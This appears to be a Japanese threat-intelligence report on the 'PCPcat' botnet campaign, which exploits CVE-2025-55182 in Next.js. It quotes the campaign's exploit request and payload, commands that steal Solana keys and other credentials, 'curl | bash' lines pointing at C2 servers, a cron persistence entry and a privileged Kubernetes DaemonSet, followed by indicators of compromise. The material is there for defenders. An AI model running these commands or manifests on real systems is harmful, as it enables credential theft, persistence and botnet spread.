分析
PCPcatキャンペーンは、自動化とスケールに最適化された6段階の攻撃ライフサイクルに従います:
初期侵入 → 認証情報の収集 → 永続化 → プロキシ基盤 → 横展開 → 収益化
図1:PCPcatキャンペーンの攻撃チェーン
フェーズ1:初期侵入 – CVE-2025-55182の悪用
主要な攻撃ベクターは、Next.js Server Actionsに存在する重大な脆弱性CVE-2025-55182を悪用し、未認証のリモートコード実行を可能にします。react.pyスキャナーは750の同時ワーカーで動作し、インターネット上の脆弱なアプリケーションを積極的に標的にします。
CVE-2025-55182(React2Shell)技術概要
この脆弱性は、Next.jsのReact Server Components(RSC)のデシリアライズロジックに存在します。攻撃者は悪意のあるmultipart form dataを作成し、JavaScriptのプロトタイプ汚染を悪用して任意のNode.jsコード実行を達成します。このエクスプロイトは認証を必要とせず、単一のHTTP POSTリクエストでトリガーできます。
PCPcatの悪用フロー
攻撃は、ターゲットのルートパスに対する特別に細工されたHTTPリクエストから始まります:
POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=—- WebKitFormBoundaryx8jO2oVc6SWP3Sad
注入されたコードは次を利用します:
process.mainModule.require(‘child_process’).execSync() によりシステム コマンドを実行し、出力はNext.jsのNEXT_REDIRECTエラー メカニズムを通じて流出させます:
throw Object.assign(new Error(‘NEXT_REDIRECT’), {
digest: `NEXT_REDIRECT;push;/login?a=${command_output};307;`
});
この手法は特に興味深い点です。攻撃者は、X-Action-Redirectレスポンスヘッダーから取得されるHTTPリダイレクトURLにコマンド出力を埋め込みます。
検証と認証情報の収集
初期侵入後、react.pyは単純な「id」コマンドを実行して悪用の成功を検証します。成功した場合、スクリプトは直ちに30以上の機微なデータソースを標的とする大規模な認証情報収集を開始します。
特に注目すべきは、キャンペーンが暗号資産に重点を置いている点です。スクリプトにはSolanaエコシステムを標的とする15以上の専用コマンドが含まれており、例として以下があります:
“find / -name ‘keypair.json’ 2>/dev/null | head -50 | xargs cat”
“find ~/.solana -name ‘*.json’ 2>/dev/null”
“cat ~/.config/solana/id.json 2>/dev/null”
“cat ./target/deploy/program-keypair.json 2>/dev/null”
“find .anchor -name ‘*.json’ 2>/dev/null | xargs cat”
追加の抽出対象には、Bitcoinのwallet.datファイル、Ethereumのキーストア、ブラウザ拡張ウォレット(MetaMask)、AWS認証情報、Dockerレジストリ設定、Kubernetesシークレット、SSH秘密鍵が含まれます。
収集されたすべての認証情報は、集中集約のためにhxxp://44.252.85.168:5656へ送信されます。これは、認証情報マーケットプレイス運用に供されるか、クラウドインフラに対する後続攻撃を可能にするものと考えられます。
フェーズ2:ペイロード展開 – proxy.shオーケストレーター
初期侵入ベクターによる悪用の後、攻撃者はhxxp://67.217.57.240:666/files/proxy.shからproxy.shを展開します。このbashスクリプトはキャンペーンのオーケストレーターとして機能し、優れた環境認識と運用能力を示しています。
スクリプトは既存の実行中xmrigプロセスを削除し、Alibaba CloudのAegisセキュリティエージェントを無効化します:
pkill -9 xmrig 2>/dev/null
pkill -9 XMRig 2>/dev/null
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null
Kubernetes検出と自動伝播
このキャンペーンの最も興味深い特徴の1つは、Kubernetesクラスタの自動検出と伝播です:
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
curl -fsSL “http://67.217.57.240:666/files/kube.py” -o /tmp/k8s.py
python3 /tmp/k8s.py
fi
Kubernetesのサービスアカウントトークンが検出されると、スクリプトは直ちにkube.pyをダウンロードして実行し、クラスタ全体での横展開を行います(詳細はフェーズ5)。
マルチアーキテクチャバイナリの展開
スクリプトはx86_64、ARM64、ARMv7アーキテクチャをサポートし、従来のx86サーバーや、最新のARMベースのクラウドインスタンス(AWS Graviton、Azure ARM VM)を侵害可能にします。キャンペーンは、公式GitHubリリースから直接ダウンロードした2つの正規オープンソースツールを展開します:
-
FRP(Fast Reverse Proxy)v0.52.3:C2インフラへの暗号化されたリバーストンネルを作成
-
GOST v2.12.0:SOCKS5プロキシ機能を提供
フェーズ3:プロキシネットワーク構築 – 中核インフラ
このキャンペーンで最も斬新な点は、大規模で分散したSOCKS5プロキシネットワークの構築です。このインフラは複数の目的に利用されます。多様なIPレンジからの匿名スキャンを可能にし、他の犯罪活動向けのプロキシサービスを提供し、耐障害性の高いC2通信チャネルを作成します。
侵害された各ホストは2つのコンポーネントを実行します:
-
GOST SOCKS5プロキシ:localhost:1080で待ち受け、SOCKS5プロキシ機能を提供
-
FRPクライアント:ローカルのGOSTプロキシからC2サーバーへの暗号化されたリバーストンネルを作成
以下はFRPの設定です:
serverAddr=”67.217.57.240″
serverPort=888
auth.token=”PCPcat-FRP-Token-2024″
[[proxies]]
name=”pcpcat-<hostname>-<timestamp>”
type=”tcp”
localIP=”127.0.0.1″
localPort=1080
remotePort=890
loadBalancer.group=”pcpcat-pool”
loadBalancer.groupKey=”PCPcat-Group-Key”
運用モデル
侵害されたすべてのシステムは、認証トークン「PCPcat-FRP-Token-2024」を使用して67.217.57.240:888のFRPサーバーに接続します。その後、ローカルのSOCKS5プロキシ(ポート1080)がC2サーバーのポート890を通じて公開されます。侵害ホストはすべて「pcpcat-pool」というロードバランサーグループに参加し、オペレーターは数千の侵害システムにトラフィックを分散できます。
このアーキテクチャにより、以下の犯罪活動が可能になります:
-
分散スキャン:キャンペーン独自のスキャナーがプロキシプールを経由して、多様なIPレンジからスキャンし、レート制限やIPベースのブロックを回避
-
匿名アクセス:オペレーターが数千の異なるIPアドレスを通じて任意のインターネットリソースにアクセス可能
-
プロキシサービス販売:ボットネットを収益化し、他の犯罪者にプロキシアクセスを販売
-
C2の耐障害性:一部のノードが駆除されても、プールは稼働し続ける
Next.jsアプリケーションを標的とする750の同時ワーカーと、Docker/Rayインフラをスキャンする10,000のワーカーに加え、RedisおよびKubernetesの悪用モジュールを組み合わせることで、このキャンペーンは日々数千のホストを侵害し得ます。侵害に成功した各ホストはプロキシプールに参加し、常に成長し続ける分散インフラを形成します。
フェーズ4:永続化メカニズム
このキャンペーンは環境に応じて複数の永続化メカニズムを実装します。
Systemdサービス(主要手法)
自動再起動機能を備えた6つのsystemdサービスが作成されます:
-
pcpcat-gost.service:SOCKS5プロキシ(RestartSec=5s)
-
pcpcat-frp.service:C2へのリバーストンネル(RestartSec=5s)
-
pcpcat-scanner.service:Docker/Rayの継続スキャン(RestartSec=60s)
-
pcpcat-react.service:CVE-2025-55182の継続悪用(RestartSec=60s)
-
pcpcat-redis.service:Redis悪用モジュール(RestartSec=60s)
-
pcpcat-boring.service:暗号資産マイナー(RestartSec=10s)
各サービスにはRestart=alwaysが含まれ、クラッシュや手動終了からの自動復旧を保証します。段階的な再起動タイマー(5〜60秒)は、応答性とシステムリソース管理のバランスを取ります。
Kubernetes DaemonSet(クラウドネイティブな永続化)
Kubernetes環境では、キャンペーンはkube-systemネームスペースに「system-monitor」という名前のDaemonSetを展開します。これにより、ホストのファイルシステムとネットワークへの特権アクセスを伴って、クラスタ内のすべてのノードでマルウェアが実行されます。
個々のPodが削除されても、Kubernetesが自動的に再作成するため、自己修復型の永続性が提供されます。
Redis Cronジョブ(ディストリビューション横断の互換性)
redis-deploy.pyモジュールは、cronジョブを3つの異なるディレクトリ(/var/spool/cron/、/var/spool/cron/crontabs/、/etc/cron.d/)に書き込みます。これにより、cronディレクトリ構造が異なる各種Linuxディストリビューション(RedHat、Debian、Ubuntu)での実行が保証されます。
cronジョブは毎時実行されます:
0 * * * * curl -fsSL hxxp://67.217.57.240:666/files/proxy.sh | bash
Dockerコンテナの自動再起動
侵害されたDockerホストではRestartPolicy: “always”のコンテナが実行され、Dockerdの再起動やコンテナ終了時にマルウェアが確実に再起動します。
フェーズ5:横展開 – Kubernetesクラスタの乗っ取り
キャンペーンがKubernetes Podの侵害を検出すると(‘/var/run/secrets/kubernetes.io/serviceaccount/token’の存在で識別)、自動的なクラスタ全体への伝播のためにkube.pyを実行します。
Podレベルのコマンド実行
スクリプトはまずKubernetes APIを使用してクラスタ内のすべてのPodを列挙し、それぞれでペイロードの実行を試みます:
exec_url = f”{api_url}/api/v1/namespaces/{namespace}/pods/{pod_name}/exec”
exec_url += f”?command=sh&command=-c&command=curl+-fsSL+{PROXY_URL}+|+bash”
この手法は、侵害されたPodのサービスアカウント権限を利用して他のPodでコマンドを実行し、クラスタ内に急速に拡散します。
クラスタ全体の永続化のためのDaemonSet展開
最も興味深い手法は、kube-systemに悪意のあるDaemonSetを展開することです:
daemonset = {
“metadata”: {“name”: “system-monitor”, “namespace”: “kube-system”},
“spec”: {
“template”: {
“spec”: {
“hostNetwork”: True,
“hostPID”: True,
“containers”: [{
“name”: “monitor”,
“image”: “alpine:latest”,
“command”: [“sh”, “-c”, “apk add curl bash python3 && curl -fsSL {PROXY_URL} | bash && sleep infinity”],
“securityContext”: {“privileged”: True},
“volumeMounts”: [{“name”: “host”, “mountPath”: “/host”}]
}],
“volumes”: [{“name”: “host”, “hostPath”: {“path”: “/”}}]
}
}
}
}
この手法により、管理者が個々の侵害Podをクリーンアップしても、DaemonSetが自動的に再作成します。完全に修復する唯一の方法は、悪意のあるDaemonSet自体を特定して削除することです。
フェーズ6:追加の攻撃ベクター
Docker APIの悪用
pcpcat.pyスキャナーは、ポート2375、2376、2377、4243、4244で公開されているDocker APIを10,000の同時ワーカーで標的にします。公開APIを発見すると、ホストネットワークモードとフルファイルシステムアクセスを備えた特権Alpine Linuxコンテナを作成します。このコンテナはproxy.shをダウンロードして実行し、ボットネットネットワークに参加します。
Redisの悪用
redis-deploy.pyモジュールは250のターゲットを同時にスキャンし、公開CIDRリストから取得したクラウドプロバイダーのIPレンジ(AWS、Azure、GCP、DigitalOcean)に焦点を当てます。バッチごとに最大10,000のターゲットIPを生成し、ポート6379のRedisへの接続を試みます。接続に成功すると、RedisのCONFIG SETコマンドを用いてcronディレクトリに悪意のあるエントリを直接書き込むことで、cronジョブ注入を行います。
Ray AIダッシュボードの悪用
このキャンペーンは、ポート8265のRay AIフレームワークのダッシュボードも標的にします。Rayは機械学習環境で人気の分散コンピューティングフレームワークです。攻撃者は未認証の/api/jobs/エンドポイントを通じて悪意のあるジョブを送信し、base64エンコードされたPythonペイロードを実行して、Rayクラスタ全体にproxy.shをダウンロード・実行させます。
規模と影響評価
PCPcatキャンペーンは大規模に運用されています:
-
CVE-2025-55182脆弱性をスキャンする750の同時ワーカー
-
DockerおよびRayインフラを標的とする10,000の同時ワーカー
-
Redisインスタンスを悪用する250の同時ワーカー
-
Kubernetesの自動伝播、横展開。
-
マルチアーキテクチャ対応(x86_64、ARM64、ARMv7)により標的範囲を拡大
侵害ホストから構築された分散プロキシネットワークは、複数の収益化手段を提供している可能性があります:
-
暗号資産マイニング:XMRigマイナー(boring_systemバイナリ)がMonero収益を生成
-
窃取された資産s:暗号資産ウォレット(Solana、Bitcoin、Ethereum)の直接窃取
-
認証情報販売:クラウド認証情報とSSH鍵が地下市場で販売されている可能性
-
プロキシサービス:SOCKS5プロキシネットワークは、匿名アクセス、DDoS攻撃、追加スキャンのために他の犯罪者へ貸し出し可能。
攻撃者はブロックチェーン開発ワークフローへの深い理解を示しており、暗号資産インフラに対する高価値な標的化を行っています。
侵害指標
コマンド&コントロール(C2)インフラ:
67.217.57.240
44.252.85.168
悪意のあるURL:
hxxp://67.217.57.240:666/files/proxy.sh
hxxp://67.217.57.240:666/files/pcpcat.py
hxxp://67.217.57.240:666/files/react.py
hxxp://67.217.57.240:666/files/redis-deploy.py
hxxp://67.217.57.240:666/files/BORING_SYSTEM
hxxp://67.217.57.240:666/files/kube.py
hxxp://44.252.85.168:5656
hxxp://44.252.85.168:666/files/kube.py
Systemdサービス:
/etc/systemd/system/pcpcat-gost.service
/etc/systemd/system/pcpcat-frp.service
/etc/systemd/system/pcpcat-scanner.service
/etc/systemd/system/pcpcat-react.service
/etc/systemd/system/pcpcat-redis.service
/etc/systemd/system/pcpcat-boring.service
Cronジョブ:
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/teampcp
内容:”0 * * * * curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash”
コンテナおよびKubernetesの指標:
Dockerコンテナ
コンテナ名:teampcp
イメージ:alpine:latest
特権:true
NetworkMode:host
RestartPolicy:always
Kubernetesリソース:
DaemonSet名:system-monitor
ネームスペース:kube-system
ラベル:app=system-monitor
イメージ:alpine:latest
特権:true
hostNetwork:true
hostPID:true
ボリュームマウント:/host